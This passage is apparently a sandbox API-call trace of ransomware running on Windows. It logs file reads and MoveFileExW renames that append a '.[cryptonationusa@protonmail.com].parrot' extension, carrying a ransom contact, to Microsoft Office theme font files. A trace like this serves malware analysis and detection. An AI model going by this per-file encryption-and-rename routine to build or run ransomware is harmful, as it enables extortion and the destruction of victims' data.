files\\microsoft office\\document themes 14\\theme fonts\\concourse.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0160.814] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0160.814] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0160.816] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.816] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xefc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xefc, lpOverlapped=0x0) returned 1 [0160.816] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0160.817] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.817] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0160.817] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0160.817] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\couture.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\couture.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0160.822] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0160.822] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0160.843] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.869] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe48, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe48, lpOverlapped=0x0) returned 1 [0160.872] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0160.897] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.897] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0160.897] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0160.897] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\elemental.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\elemental.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0160.906] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0160.906] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0160.908] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.908] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xef5, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xef5, lpOverlapped=0x0) returned 1 [0160.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0160.909] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0160.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0160.910] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\equity.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\equity.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0160.913] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0160.914] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0160.915] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.915] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe16, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe16, lpOverlapped=0x0) returned 1 [0160.915] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0160.915] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.915] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0160.915] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0160.916] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\essential.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\essential.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0160.919] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0160.919] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0160.923] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.923] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe2f, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe2f, lpOverlapped=0x0) returned 1 [0160.923] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0160.923] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.923] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0160.923] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0160.924] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\executive.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\executive.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0160.934] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0160.934] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0160.942] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.942] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xdb5, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xdb5, lpOverlapped=0x0) returned 1 [0160.942] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0160.942] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.943] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0160.943] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0160.943] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\flow.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\flow.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0160.956] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0160.956] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0160.958] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.958] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xed4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xed4, lpOverlapped=0x0) returned 1 [0160.958] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0160.959] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.959] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0160.959] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0160.959] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\foundry.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\foundry.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0160.965] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0160.965] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0160.966] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.966] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe59, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe59, lpOverlapped=0x0) returned 1 [0160.966] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0160.967] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.967] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0160.967] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0160.967] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\grid.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\grid.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0160.971] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0160.972] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0160.973] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.973] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf09, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xf09, lpOverlapped=0x0) returned 1 [0160.973] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0160.973] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.973] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0160.973] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0160.974] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\hardcover.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\hardcover.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0160.977] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0160.977] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0160.979] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.979] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe2a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe2a, lpOverlapped=0x0) returned 1 [0160.979] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0160.979] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.979] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0160.979] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0160.980] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\horizon.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\horizon.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0160.983] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0160.983] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0160.984] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.984] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xeed, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xeed, lpOverlapped=0x0) returned 1 [0160.984] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0160.984] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.985] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0160.985] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0160.985] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\median.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\median.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.032] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.032] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.033] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.033] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe13, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe13, lpOverlapped=0x0) returned 1 [0161.033] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0161.034] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.034] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0161.034] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0161.034] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\metro.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\metro.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.039] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.039] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.041] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.041] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe05, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe05, lpOverlapped=0x0) returned 1 [0161.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0161.041] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0161.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0161.041] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\module.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\module.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.049] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.049] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.051] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.051] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe39, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe39, lpOverlapped=0x0) returned 1 [0161.051] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0161.051] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.051] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0161.051] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0161.051] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\newsprint.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\newsprint.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.055] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.055] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.056] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.056] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe15, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe15, lpOverlapped=0x0) returned 1 [0161.056] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0161.056] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.056] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0161.056] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0161.057] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office 2.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft 